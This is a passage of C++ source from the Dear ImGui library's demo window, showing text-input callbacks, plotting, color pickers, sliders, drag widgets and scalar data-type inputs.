ImGui::InputText("Completion", buf1, 64, ImGuiInputTextFlags_CallbackCompletion, Funcs::MyCallback);
ImGui::SameLine(); HelpMarker("Here we append \"..\" each time Tab is pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback.");
static char buf2[64];
ImGui::InputText("History", buf2, 64, ImGuiInputTextFlags_CallbackHistory, Funcs::MyCallback);
ImGui::SameLine(); HelpMarker("Here we replace and select text each time Up/Down are pressed. See 'Examples>Console' for a more meaningful demonstration of using this callback.");
static char buf3[64];
static int edit_count = 0;
ImGui::InputText("Edit", buf3, 64, ImGuiInputTextFlags_CallbackEdit, Funcs::MyCallback, (void*)&edit_count);
ImGui::SameLine(); HelpMarker("Here we toggle the casing of the first character on every edits + count edits.");
ImGui::SameLine(); ImGui::Text("(%d)", edit_count);
ImGui::TreePop();
}
if (ImGui::TreeNode("Resize Callback"))
{
// To wire InputText() with std::string or any other custom string type,
// you can use the ImGuiInputTextFlags_CallbackResize flag + create a custom ImGui::InputText() wrapper
// using your preferred type. See misc/cpp/imgui_stdlib.h for an implementation of this using std::string.
HelpMarker(
"Using ImGuiInputTextFlags_CallbackResize to wire your custom string type to InputText().\n\n"
"See misc/cpp/imgui_stdlib.h for an implementation of this for std::string.");
struct Funcs
{
static int MyResizeCallback(ImGuiInputTextCallbackData* data)
{
if (data->EventFlag == ImGuiInputTextFlags_CallbackResize)
{
ImVector<char>* my_str = (ImVector<char>*)data->UserData;
IM_ASSERT(my_str->begin() == data->Buf);
my_str->resize(data->BufSize); // NB: On resizing calls, generally data->BufSize == data->BufTextLen + 1
data->Buf = my_str->begin();
}
return 0;
}
// Note: Because ImGui:: is a namespace you would typically add your own function into the namespace.
// For example, you code may declare a function 'ImGui::InputText(const char* label, MyString* my_str)'
static bool MyInputTextMultiline(const char* label, ImVector<char>* my_str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0)
{
IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0);
return ImGui::InputTextMultiline(label, my_str->begin(), (size_t)my_str->size(), size, flags | ImGuiInputTextFlags_CallbackResize, Funcs::MyResizeCallback, (void*)my_str);
}
};
// For this demo we are using ImVector as a string container.
// Note that because we need to store a terminating zero character, our size/capacity are 1 more
// than usually reported by a typical string class.
static ImVector<char> my_str;
if (my_str.empty())
my_str.push_back(0);
Funcs::MyInputTextMultiline("##MyStr", &my_str, ImVec2(-FLT_MIN, ImGui::GetTextLineHeight() * 16));
ImGui::Text("Data: %p\nSize: %d\nCapacity: %d", (void*)my_str.begin(), my_str.size(), my_str.capacity());
ImGui::TreePop();
}
ImGui::TreePop();
}
// Plot/Graph widgets are currently fairly limited.
// Consider writing your own plotting widget, or using a third-party one
// (for third-party Plot widgets, see 'Wiki->Useful Widgets' or https://github.com/ocornut/imgui/labels/plot%2Fgraph)
if (ImGui::TreeNode("Plots Widgets"))
{
static bool animate = true;
ImGui::Checkbox("Animate", &animate);
static float arr[] = { 0.6f, 0.1f, 1.0f, 0.5f, 0.92f, 0.1f, 0.2f };
ImGui::PlotLines("Frame Times", arr, IM_ARRAYSIZE(arr));
// Fill an array of contiguous float values to plot
// Tip: If your float aren't contiguous but part of a structure, you can pass a pointer to your first float
// and the sizeof() of your structure in the "stride" parameter.
static float values[90] = {};
static int values_offset = 0;
static double refresh_time = 0.0;
if (!animate || refresh_time == 0.0)
refresh_time = ImGui::GetTime();
while (refresh_time < ImGui::GetTime()) // Create data at fixed 60 Hz rate for the demo
{
static float phase = 0.0f;
values[values_offset] = cosf(phase);
values_offset = (values_offset + 1) % IM_ARRAYSIZE(values);
phase += 0.10f * values_offset;
refresh_time += 1.0f / 60.0f;
}
// Plots can display overlay texts
// (in this example, we will display an average value)
{
float average = 0.0f;
for (int n = 0; n < IM_ARRAYSIZE(values); n++)
average += values[n];
average /= (float)IM_ARRAYSIZE(values);
char overlay[32];
sprintf(overlay, "avg %f", average);
ImGui::PlotLines("Lines", values, IM_ARRAYSIZE(values), values_offset, overlay, -1.0f, 1.0f, ImVec2(0, 80.0f));
}
ImGui::PlotHistogram("Histogram", arr, IM_ARRAYSIZE(arr), 0, NULL, 0.0f, 1.0f, ImVec2(0, 80.0f));
// Use functions to generate output
// FIXME: This is rather awkward because current plot API only pass in indices.
// We probably want an API passing floats and user provide sample rate/count.
struct Funcs
{
static float Sin(void*, int i) { return sinf(i * 0.1f); }
static float Saw(void*, int i) { return (i & 1) ? 1.0f : -1.0f; }
};
static int func_type = 0, display_count = 70;
ImGui::Separator();
ImGui::SetNextItemWidth(100);
ImGui::Combo("func", &func_type, "Sin\0Saw\0");
ImGui::SameLine();
ImGui::SliderInt("Sample count", &display_count, 1, 400);
float (*func)(void*, int) = (func_type == 0) ? Funcs::Sin : Funcs::Saw;
ImGui::PlotLines("Lines", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80));
ImGui::PlotHistogram("Histogram", func, NULL, display_count, 0, NULL, -1.0f, 1.0f, ImVec2(0, 80));
ImGui::Separator();
// Animate a simple progress bar
static float progress = 0.0f, progress_dir = 1.0f;
if (animate)
{
progress += progress_dir * 0.4f * ImGui::GetIO().DeltaTime;
if (progress >= +1.1f) { progress = +1.1f; progress_dir *= -1.0f; }
if (progress <= -0.1f) { progress = -0.1f; progress_dir *= -1.0f; }
}
// Typically we would use ImVec2(-1.0f,0.0f) or ImVec2(-FLT_MIN,0.0f) to use all available width,
// or ImVec2(width,0.0f) for a specified width. ImVec2(0.0f,0.0f) uses ItemWidth.
ImGui::ProgressBar(progress, ImVec2(0.0f, 0.0f));
ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x);
ImGui::Text("Progress Bar");
float progress_saturated = IM_CLAMP(progress, 0.0f, 1.0f);
char buf[32];
sprintf(buf, "%d/%d", (int)(progress_saturated * 1753), 1753);
ImGui::ProgressBar(progress, ImVec2(0.f, 0.f), buf);
ImGui::TreePop();
}
if (ImGui::TreeNode("Color/Picker Widgets"))
{
static ImVec4 color = ImVec4(114.0f / 255.0f, 144.0f / 255.0f, 154.0f / 255.0f, 200.0f / 255.0f);
static bool alpha_preview = true;
static bool alpha_half_preview = false;
static bool drag_and_drop = true;
static bool options_menu = true;
static bool hdr = false;
ImGui::Checkbox("With Alpha Preview", &alpha_preview);
ImGui::Checkbox("With Half Alpha Preview", &alpha_half_preview);
ImGui::Checkbox("With Drag and Drop", &drag_and_drop);
ImGui::Checkbox("With Options Menu", &options_menu); ImGui::SameLine(); HelpMarker("Right-click on the individual color widget to show options.");
ImGui::Checkbox("With HDR", &hdr); ImGui::SameLine(); HelpMarker("Currently all this does is to lift the 0..1 limits on dragging widgets.");
ImGuiColorEditFlags misc_flags = (hdr ? ImGuiColorEditFlags_HDR : 0) | (drag_and_drop ? 0 : ImGuiColorEditFlags_NoDragDrop) | (alpha_half_preview ? ImGuiColorEditFlags_AlphaPreviewHalf : (alpha_preview ? ImGuiColorEditFlags_AlphaPreview : 0)) | (options_menu ? 0 : ImGuiColorEditFlags_NoOptions);
ImGui::Text("Color widget:");
ImGui::SameLine(); HelpMarker(
"Click on the colored square to open a color picker.\n"
"CTRL+click on individual component to input value.\n");
ImGui::ColorEdit3("MyColor##1", (float*)&color, misc_flags);
ImGui::Text("Color widget HSV with Alpha:");
ImGui::ColorEdit4("MyColor##2", (float*)&color, ImGuiColorEditFlags_DisplayHSV | misc_flags);
ImGui::Text("Color widget with Float Display:");
ImGui::ColorEdit4("MyColor##2f", (float*)&color, ImGuiColorEditFlags_Float | misc_flags);
ImGui::Text("Color button with Picker:");
ImGui::SameLine(); HelpMarker(
"With the ImGuiColorEditFlags_NoInputs flag you can hide all the slider/text inputs.\n"
"With the ImGuiColorEditFlags_NoLabel flag you can pass a non-empty label which will only "
"be used for the tooltip and picker popup.");
ImGui::ColorEdit4("MyColor##3", (float*)&color, ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoLabel | misc_flags);
ImGui::Text("Color button with Custom Picker Popup:");
// Generate a default palette. The palette will persist and can be edited.
static bool saved_palette_init = true;
static ImVec4 saved_palette[32] = {};
if (saved_palette_init)
{
for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++)
{
ImGui::ColorConvertHSVtoRGB(n / 31.0f, 0.8f, 0.8f,
saved_palette[n].x, saved_palette[n].y, saved_palette[n].z);
saved_palette[n].w = 1.0f; // Alpha
}
saved_palette_init = false;
}
static ImVec4 backup_color;
bool open_popup = ImGui::ColorButton("MyColor##3b", color, misc_flags);
ImGui::SameLine(0, ImGui::GetStyle().ItemInnerSpacing.x);
open_popup |= ImGui::Button("Palette");
if (open_popup)
{
ImGui::OpenPopup("mypicker");
backup_color = color;
}
if (ImGui::BeginPopup("mypicker"))
{
ImGui::Text("MY CUSTOM COLOR PICKER WITH AN AMAZING PALETTE!");
ImGui::Separator();
ImGui::ColorPicker4("##picker", (float*)&color, misc_flags | ImGuiColorEditFlags_NoSidePreview | ImGuiColorEditFlags_NoSmallPreview);
ImGui::SameLine();
ImGui::BeginGroup(); // Lock X position
ImGui::Text("Current");
ImGui::ColorButton("##current", color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40));
ImGui::Text("Previous");
if (ImGui::ColorButton("##previous", backup_color, ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_AlphaPreviewHalf, ImVec2(60, 40)))
color = backup_color;
ImGui::Separator();
ImGui::Text("Palette");
for (int n = 0; n < IM_ARRAYSIZE(saved_palette); n++)
{
ImGui::PushID(n);
if ((n % 8) != 0)
ImGui::SameLine(0.0f, ImGui::GetStyle().ItemSpacing.y);
ImGuiColorEditFlags palette_button_flags = ImGuiColorEditFlags_NoAlpha | ImGuiColorEditFlags_NoPicker | ImGuiColorEditFlags_NoTooltip;
if (ImGui::ColorButton("##palette", saved_palette[n], palette_button_flags, ImVec2(20, 20)))
color = ImVec4(saved_palette[n].x, saved_palette[n].y, saved_palette[n].z, color.w); // Preserve alpha!
// Allow user to drop colors into each palette entry. Note that ColorButton() is already a
// drag source by default, unless specifying the ImGuiColorEditFlags_NoDragDrop flag.
if (ImGui::BeginDragDropTarget())
{
if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_3F))
memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 3);
if (const ImGuiPayload* payload = ImGui::AcceptDragDropPayload(IMGUI_PAYLOAD_TYPE_COLOR_4F))
memcpy((float*)&saved_palette[n], payload->Data, sizeof(float) * 4);
ImGui::EndDragDropTarget();
}
ImGui::PopID();
}
ImGui::EndGroup();
ImGui::EndPopup();
}
ImGui::Text("Color button only:");
static bool no_border = false;
ImGui::Checkbox("ImGuiColorEditFlags_NoBorder", &no_border);
ImGui::ColorButton("MyColor##3c", *(ImVec4*)&color, misc_flags | (no_border ? ImGuiColorEditFlags_NoBorder : 0), ImVec2(80, 80));
ImGui::Text("Color picker:");
static bool alpha = true;
static bool alpha_bar = true;
static bool side_preview = true;
static bool ref_color = false;
static ImVec4 ref_color_v(1.0f, 0.0f, 1.0f, 0.5f);
static int display_mode = 0;
static int picker_mode = 0;
ImGui::Checkbox("With Alpha", &alpha);
ImGui::Checkbox("With Alpha Bar", &alpha_bar);
ImGui::Checkbox("With Side Preview", &side_preview);
if (side_preview)
{
ImGui::SameLine();
ImGui::Checkbox("With Ref Color", &ref_color);
if (ref_color)
{
ImGui::SameLine();
ImGui::ColorEdit4("##RefColor", &ref_color_v.x, ImGuiColorEditFlags_NoInputs | misc_flags);
}
}
ImGui::Combo("Display Mode", &display_mode, "Auto/Current\0None\0RGB Only\0HSV Only\0Hex Only\0");
ImGui::SameLine(); HelpMarker(
"ColorEdit defaults to displaying RGB inputs if you don't specify a display mode, "
"but the user can change it with a right-click.\n\nColorPicker defaults to displaying RGB+HSV+Hex "
"if you don't specify a display mode.\n\nYou can change the defaults using SetColorEditOptions().");
ImGui::Combo("Picker Mode", &picker_mode, "Auto/Current\0Hue bar + SV rect\0Hue wheel + SV triangle\0");
ImGui::SameLine(); HelpMarker("User can right-click the picker to change mode.");
ImGuiColorEditFlags flags = misc_flags;
if (!alpha) flags |= ImGuiColorEditFlags_NoAlpha; // This is by default if you call ColorPicker3() instead of ColorPicker4()
if (alpha_bar) flags |= ImGuiColorEditFlags_AlphaBar;
if (!side_preview) flags |= ImGuiColorEditFlags_NoSidePreview;
if (picker_mode == 1) flags |= ImGuiColorEditFlags_PickerHueBar;
if (picker_mode == 2) flags |= ImGuiColorEditFlags_PickerHueWheel;
if (display_mode == 1) flags |= ImGuiColorEditFlags_NoInputs; // Disable all RGB/HSV/Hex displays
if (display_mode == 2) flags |= ImGuiColorEditFlags_DisplayRGB; // Override display mode
if (display_mode == 3) flags |= ImGuiColorEditFlags_DisplayHSV;
if (display_mode == 4) flags |= ImGuiColorEditFlags_DisplayHex;
ImGui::ColorPicker4("MyColor##4", (float*)&color, flags, ref_color ? &ref_color_v.x : NULL);
ImGui::Text("Set defaults in code:");
ImGui::SameLine(); HelpMarker(
"SetColorEditOptions() is designed to allow you to set boot-time default.\n"
"We don't have Push/Pop functions because you can force options on a per-widget basis if needed,"
"and the user can change non-forced ones with the options menu.\nWe don't have a getter to avoid"
"encouraging you to persistently save values that aren't forward-compatible.");
if (ImGui::Button("Default: Uint8 + HSV + Hue Bar"))
ImGui::SetColorEditOptions(ImGuiColorEditFlags_Uint8 | ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_PickerHueBar);
if (ImGui::Button("Default: Float + HDR + Hue Wheel"))
ImGui::SetColorEditOptions(ImGuiColorEditFlags_Float | ImGuiColorEditFlags_HDR | ImGuiColorEditFlags_PickerHueWheel);
// HSV encoded support (to avoid RGB<>HSV round trips and singularities when S==0 or V==0)
static ImVec4 color_hsv(0.23f, 1.0f, 1.0f, 1.0f); // Stored as HSV!
ImGui::Spacing();
ImGui::Text("HSV encoded colors");
ImGui::SameLine(); HelpMarker(
"By default, colors are given to ColorEdit and ColorPicker in RGB, but ImGuiColorEditFlags_InputHSV"
"allows you to store colors as HSV and pass them to ColorEdit and ColorPicker as HSV. This comes with the"
"added benefit that you can manipulate hue values with the picker even when saturation or value are zero.");
ImGui::Text("Color widget with InputHSV:");
ImGui::ColorEdit4("HSV shown as RGB##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayRGB | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float);
ImGui::ColorEdit4("HSV shown as HSV##1", (float*)&color_hsv, ImGuiColorEditFlags_DisplayHSV | ImGuiColorEditFlags_InputHSV | ImGuiColorEditFlags_Float);
ImGui::DragFloat4("Raw HSV values", (float*)&color_hsv, 0.01f, 0.0f, 1.0f);
ImGui::TreePop();
}
if (ImGui::TreeNode("Drag/Slider Flags"))
{
// Demonstrate using advanced flags for DragXXX and SliderXXX functions. Note that the flags are the same!
static ImGuiSliderFlags flags = ImGuiSliderFlags_None;
ImGui::CheckboxFlags("ImGuiSliderFlags_AlwaysClamp", (unsigned int*)&flags, ImGuiSliderFlags_AlwaysClamp);
ImGui::SameLine(); HelpMarker("Always clamp value to min/max bounds (if any) when input manually with CTRL+Click.");
ImGui::CheckboxFlags("ImGuiSliderFlags_Logarithmic", (unsigned int*)&flags, ImGuiSliderFlags_Logarithmic);
ImGui::SameLine(); HelpMarker("Enable logarithmic editing (more precision for small values).");
ImGui::CheckboxFlags("ImGuiSliderFlags_NoRoundToFormat", (unsigned int*)&flags, ImGuiSliderFlags_NoRoundToFormat);
ImGui::SameLine(); HelpMarker("Disable rounding underlying value to match precision of the format string (e.g. %.3f values are rounded to those 3 digits).");
ImGui::CheckboxFlags("ImGuiSliderFlags_NoInput", (unsigned int*)&flags, ImGuiSliderFlags_NoInput);
ImGui::SameLine(); HelpMarker("Disable CTRL+Click or Enter key allowing to input text directly into the widget.");
// Drags
static float drag_f = 0.5f;
static int drag_i = 50;
ImGui::Text("Underlying float value: %f", drag_f);
ImGui::DragFloat("DragFloat (0 -> 1)", &drag_f, 0.005f, 0.0f, 1.0f, "%.3f", flags);
ImGui::DragFloat("DragFloat (0 -> +inf)", &drag_f, 0.005f, 0.0f, FLT_MAX, "%.3f", flags);
ImGui::DragFloat("DragFloat (-inf -> 1)", &drag_f, 0.005f, -FLT_MAX, 1.0f, "%.3f", flags);
ImGui::DragFloat("DragFloat (-inf -> +inf)", &drag_f, 0.005f, -FLT_MAX, +FLT_MAX, "%.3f", flags);
ImGui::DragInt("DragInt (0 -> 100)", &drag_i, 0.5f, 0, 100, "%d", flags);
// Sliders
static float slider_f = 0.5f;
static int slider_i = 50;
ImGui::Text("Underlying float value: %f", slider_f);
ImGui::SliderFloat("SliderFloat (0 -> 1)", &slider_f, 0.0f, 1.0f, "%.3f", flags);
ImGui::SliderInt("SliderInt (0 -> 100)", &slider_i, 0, 100, "%d", flags);
ImGui::TreePop();
}
if (ImGui::TreeNode("Range Widgets"))
{
static float begin = 10, end = 90;
static int begin_i = 100, end_i = 1000;
ImGui::DragFloatRange2("range float", &begin, &end, 0.25f, 0.0f, 100.0f, "Min: %.1f %%", "Max: %.1f %%", ImGuiSliderFlags_AlwaysClamp);
ImGui::DragIntRange2("range int", &begin_i, &end_i, 5, 0, 1000, "Min: %d units", "Max: %d units");
ImGui::DragIntRange2("range int (no bounds)", &begin_i, &end_i, 5, 0, 0, "Min: %d units", "Max: %d units");
ImGui::TreePop();
}
if (ImGui::TreeNode("Data Types"))
{
// DragScalar/InputScalar/SliderScalar functions allow various data types
// - signed/unsigned
// - 8/16/32/64-bits
// - integer/float/double
// To avoid polluting the public API with all possible combinations, we use the ImGuiDataType enum
// to pass the type, and passing all arguments by pointer.
// This is the reason the test code below creates local variables to hold "zero" "one" etc. for each types.
// In practice, if you frequently use a given type that is not covered by the normal API entry points,
// you can wrap it yourself inside a 1 line function which can take typed argument as value instead of void*,
// and then pass their address to the generic function. For example:
// bool MySliderU64(const char *label, u64* value, u64 min = 0, u64 max = 0, const char* format = "%lld")
// {
// return SliderScalar(label, ImGuiDataType_U64, value, &min, &max, format);
// }
// Setup limits (as helper variables so we can take their address, as explained above)
// Note: SliderScalar() functions have a maximum usable range of half the natural type maximum, hence the /2.
#ifndef LLONG_MIN
ImS64 LLONG_MIN = -9223372036854775807LL - 1;
ImS64 LLONG_MAX = 9223372036854775807LL;
ImU64 ULLONG_MAX = (2ULL * 9223372036854775807LL + 1);
#endif
const char s8_zero = 0, s8_one = 1, s8_fifty = 50, s8_min = -128, s8_max = 127;
const ImU8 u8_zero = 0, u8_one = 1, u8_fifty = 50, u8_min = 0, u8_max = 255;
const short s16_zero = 0, s16_one = 1, s16_fifty = 50, s16_min = -32768, s16_max = 32767;
const ImU16 u16_zero = 0, u16_one = 1, u16_fifty = 50, u16_min = 0, u16_max = 65535;
const ImS32 s32_zero = 0, s32_one = 1, s32_fifty = 50, s32_min = INT_MIN / 2, s32_max = INT_MAX / 2, s32_hi_a = INT_MAX / 2 - 100, s32_hi_b = INT_MAX / 2;
const ImU32 u32_zero = 0, u32_one = 1, u32_fifty = 50, u32_min = 0, u32_max = UINT_MAX / 2, u32_hi_a = UINT_MAX / 2 - 100, u32_hi_b = UINT_MAX / 2;
const ImS64 s64_zero = 0, s64_one = 1, s64_fifty = 50, s64_min = LLONG_MIN / 2, s64_max = LLONG_MAX / 2, s64_hi_a = LLONG_MAX / 2 - 100, s64_hi_b = LLONG_MAX / 2;
const ImU64 u64_zero = 0, u64_one = 1, u64_fifty = 50, u64_min = 0, u64_max = ULLONG_MAX / 2, u64_hi_a = ULLONG_MAX / 2 - 100, u64_hi_b = ULLONG_MAX / 2;
const float f32_zero = 0.f, f32_one = 1.f, f32_lo_a = -10000000000.0f, f32_hi_a = +10000000000.0f;
const double f64_zero = 0., f64_one = 1., f64_lo_a = -1000000000000000.0, f64_hi_a = +1000000000000000.0;
// State
static char s8_v = 127;
static ImU8 u8_v = 255;
static short s16_v = 32767;
static ImU16 u16_v = 65535;
static ImS32 s32_v = -1;
static ImU32 u32_v = (ImU32)-1;
static ImS64 s64_v = -1;
static ImU64 u64_v = (ImU64)-1;
static float f32_v = 0.123f;
static double f64_v = 90000.01234567890123456789;
const float drag_speed = 0.2f;
static bool drag_clamp = false;
ImGui::Text("Drags:");
ImGui::Checkbox("Clamp integers to 0..50", &drag_clamp);
ImGui::SameLine(); HelpMarker(
"As with every widgets in dear imgui, we never modify values unless there is a user interaction.\n"
"You can override the clamping limits by using CTRL+Click to input a value.");
ImGui::DragScalar("drag s8", ImGuiDataType_S8, &s8_v, drag_speed, drag_clamp ? &s8_zero : NULL, drag_clamp ? &s8_fifty : NULL);
ImGui::DragScalar("drag u8", ImGuiDataType_U8, &u8_v, drag_speed, drag_clamp ? &u8_zero : NULL, drag_clamp ? &u8_fifty : NULL, "%u ms");
ImGui::DragScalar("drag s16", ImGuiDataType_S16, &s16_v, drag_speed, drag_clamp ? &s16_zero : NULL, drag_clamp ? &s16_fifty : NULL);
ImGui::DragScalar("drag u16", ImGuiDataType_U16, &u16_v, drag_speed, drag_clamp ? &u16_zero : NULL, drag_clamp ? &u16_fifty : NULL, "%u ms");
ImGui::DragScalar("drag s32", ImGuiDataType_S32, &s32_v, drag_speed, drag_clamp ? &s32_zero : NULL, drag_clamp ? &s32_fifty : NULL);
ImGui::DragScalar("drag u32", ImGuiDataType_U32, &u32_v, drag_speed, drag_clamp ? &u32_zero : NULL, drag_clamp ? &u32_fifty : NULL, "%u ms");
ImGui::DragScalar("drag s64", ImGuiDataType_S64, &s64_v, drag_speed, drag_clamp ? &s64_zero : NULL, drag_clamp ? &s64_fifty : NULL);
ImGui::DragScalar("drag u64", ImGuiDataType_U64, &u64_v, drag_speed, drag_clamp ? &u64_zero : NULL, drag_clamp ? &u64_fifty : NULL);
ImGui::DragScalar("drag float", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f");
ImGui::DragScalar("drag float log", ImGuiDataType_Float, &f32_v, 0.005f, &f32_zero, &f32_one, "%f", ImGuiSliderFlags_Logarithmic);
ImGui::DragScalar("drag double", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, NULL, "%.10f grams");
ImGui::DragScalar("drag double log", ImGuiDataType_Double, &f64_v, 0.0005f, &f64_zero, &f64_one, "0 < %.10f < 1", ImGuiSliderFlags_Logarithmic);
ImGui::Text("Sliders");
ImGui::SliderScalar("slider s8 full", ImGuiDataType_S8, &s8_v, &s8_min, &s8_max, "%d");
ImGui::SliderScalar("slider u8 full", ImGuiDataType_U8, &u8_v, &u8_min, &u8_max, "%u");
ImGui::SliderScalar("slider s16 full", ImGuiDataType_S16, &s16_v, &s16_min, &s16_max, "%d");
ImGui::SliderScalar("slider u16 full", ImGuiDataType_U16, &u16_v, &u16_min, &u16_max, "%u");
ImGui::SliderScalar("slider s32 low", ImGuiDataType_S32, &s32_v, &s32_zero, &s32_fifty, "%d");
ImGui::SliderScalar("slider s32 high", ImGuiDataType_S32, &s32_v, &s32_hi_a, &s32_hi_b, "%d");
ImGui::SliderScalar("slider s32 full", ImGuiDataType_S32, &s32_v, &s32_min, &s32_max, "%d");
ImGui::SliderScalar("slider u32 low", ImGuiDataType_U32, &u32_v, &u32_zero, &u32_fifty, "%u");
ImGui::SliderScalar("slider u32 high", ImGuiDataType_U32, &u32_v, &u32_hi_a, &u32_hi_b, "%u");
ImGui::SliderScalar("slider u32 full", ImGuiDataType_U32, &u32_v, &u32_min, &u32_max, "%u");
ImGui::SliderScalar("slider s64 low", ImGuiDataType_S64, &s64_v, &s64_zero, &s64_fifty, "%I64d");
ImGui::SliderScalar("slider s64 high", ImGuiDataType_S64, &s64_v, &s64_hi_a, &s64_hi_b, "%I64d");
ImGui::SliderScalar("slider s64 full", ImGuiDataType_S64, &s64_v, &s64_min, &s64_max, "%I64d");
ImGui::SliderScalar("slider u64 low", ImGuiDataType_U64, &u64_v, &u64_zero, &u64_fifty, "%I64u ms");
ImGui::SliderScalar("slider u64 high", ImGuiDataType_U64, &u64_v, &u64_hi_a, &u64_hi_b, "%I64u ms");
ImGui::SliderScalar("slider u64 full", ImGuiDataType_U64, &u64_v, &u64_min, &u64_max, "%I64u ms");
ImGui::SliderScalar("slider float low", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one);
ImGui::SliderScalar("slider float low log", ImGuiDataType_Float, &f32_v, &f32_zero, &f32_one, "%.10f", ImGuiSliderFlags_Logarithmic);
ImGui::SliderScalar("slider float high", ImGuiDataType_Float, &f32_v, &f32_lo_a, &f32_hi_a, "%e");
ImGui::SliderScalar("slider double low", ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f grams");
ImGui::SliderScalar("slider double low log", ImGuiDataType_Double, &f64_v, &f64_zero, &f64_one, "%.10f", ImGuiSliderFlags_Logarithmic);
ImGui::SliderScalar("slider double high", ImGuiDataType_Double, &f64_v, &f64_lo_a, &f64_hi_a, "%e grams");
ImGui::Text("Sliders (reverse)");
ImGui::SliderScalar("slider s8 reverse", ImGuiDataType_S8, &s8_v, &s8_max, &s8_min, "%d");
ImGui::SliderScalar("slider u8 reverse", ImGuiDataType_U8, &u8_v, &u8_max, &u8_min, "%u");
ImGui::SliderScalar("slider s32 reverse", ImGuiDataType_S32, &s32_v, &s32_fifty, &s32_zero, "%d");
ImGui::SliderScalar("slider u32 reverse", ImGuiDataType_U32, &u32_v, &u32_fifty, &u32_zero, "%u");
ImGui::SliderScalar("slider s64 reverse", ImGuiDataType_S64, &s64_v, &s64_fifty, &s64_zero, "%I64d");
ImGui::SliderScalar("slider u64 reverse", ImGuiDataType_U64, &u64_v, &u64_fifty, &u64_zero, "%I64u ms");
static bool inputs_step = true;
ImGui::Text("Inputs");
ImGui::Checkbox("Show step buttons", &inputs_step);
ImGui::InputScalar("input s8", ImGuiDataType_S8, &s8_v, inputs_step ? &s8_one : NULL, NULL, "%d");
ImGui::InputScalar("input u8", ImGuiDataType_U8, &u8_v, inputs_step ? &u8_one : NULL, NULL, "%u");
ImGui::InputScalar("input s16", ImGuiDataType_S16, &s16_v, inputs_step ? &s16_one : NULL, NULL, "%d");
ImGui::InputScalar("input u16", ImGuiDataType_U16, &u16_v, inputs_step ? &u16_one : NULL, NULL, "%u");
ImGui::InputScalar("input s32", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%d");
ImGui::InputScalar("input s32 hex", ImGuiDataType_S32, &s32_v, inputs_step ? &s32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal);
ImGui::InputScalar("input u32", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%u");
ImGui::InputScalar("input u32 hex", ImGuiDataType_U32, &u32_v, inputs_step ? &u32_one : NULL, NULL, "%08X", ImGuiInputTextFlags_CharsHexadecimal);
ImGui::InputScalar("input s64", ImGuiDataType_S64, &s64_v, inputs_step ? &s64_one : NULL);
ImGui::InputScalar("input u64", ImGuiDataType_U64, &u64_v, inputs_step ? &u64_one : NULL);
ImGui::InputScalar("input float", ImGuiDataType_Float, &f32_v, inputs_step ? &f32_one : NULL);
ImGui::InputScalar("input double", ImGuiDataType_Double, &f64_v, inputs_step ? &f64_one : NULL);
ImGui::TreePop();
}
if (ImGui::TreeNode("Multi-component Widgets"))
{
static float vec4f[4] = { 0.10f, 0.20f, 0.30f, 0.44f };
static int vec4i[4] = { 1, 5, 100, 255 };
ImGui::InputFloat2("input float2", vec4f);
ImGui::DragFloat2("drag float2", vec4f, 0.01f, 0.0f, 1.0f);
ImGui::SliderFloat2("slider float2", vec4f, 0.0f, 1.0f);
ImGui::InputInt2("input int2", vec4i);
ImGui::DragInt2("drag int2", vec4i, 1, 0, 255);
ImGui::SliderInt2("slider int2", vec4i, 0, 255);
ImGui::Spacing();
ImGui::InputFloat3("input float3", vec4f);
ImGui::DragFloat3("drag float3", vec4f, 0.01f, 0.0f, 1.0f);
ImGui::SliderFloat3("slider float3", vec4f, 0.0f, 1.0f);
ImGui::InputInt3("input int3", vec4i);
ImGui::DragInt3("drag int3", vec4i, 1, 0, 255);
ImGui::SliderInt3("slider int3", vec4i, 0, 255);
ImGui::Spacing();
ImGui::InputFloat4("input float4", vec4f);
ImGui::DragFloat4("drag float4", vec4f, 0.01f, 0.0f, 1.0f);
ImGui::SliderFloat4("slider float4", vec4f, 0.0f, 1.0f);
ImGui::InputInt4("input int4", vec4i);
ImGui::DragInt4("drag int4", vec4i, 1, 0, 255);
ImGui::SliderInt4("slider int4", vec4i, 0, 255);
ImGui::TreePop();
}
if (ImGui::TreeNode("Vertical Sliders"))
{
const float spacing = 4;
ImGui::PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(spacing, spacing));
static int int_value = 0;
ImGui::VSliderInt("##int", ImVec2(18, 160), &int_value, 0, 5);
ImGui::SameLine();
static float values[7] = { 0.0f, 0.60f, 0.35f, 0.9f, 0.70f, 0.20f, 0.0f };
ImGui::PushID("set1");
for (int i = 0; i < 7; i++)
{
if (i > 0) ImGui::SameLine();
ImGui::PushID(i);
ImGui::PushStyleColor(ImGuiCol_FrameBg, (ImVec4)ImColor::HSV(i / 7.0f, 0.5f, 0.5f));
ImGui::PushStyleColor(ImGuiCol_FrameBgHovered, (ImVec4)ImColor::HSV(i / 7.0f, 0.6f, 0.5f));
ImGui::PushStyleColor(ImGuiCol_FrameBgActive, (ImVec4)ImColor::HSV(i / 7.0f, 0.7f, 0.5f));
ImGui::PushStyleColor(ImGuiCol_SliderGrab, (ImVec4)ImColor::HSV(i / 7.0f, 0.9f, 0.9f));
ImGui::VSliderFloat("##v", ImVec2(18, 160), &values[i], 0.0f, 1.0f, "");
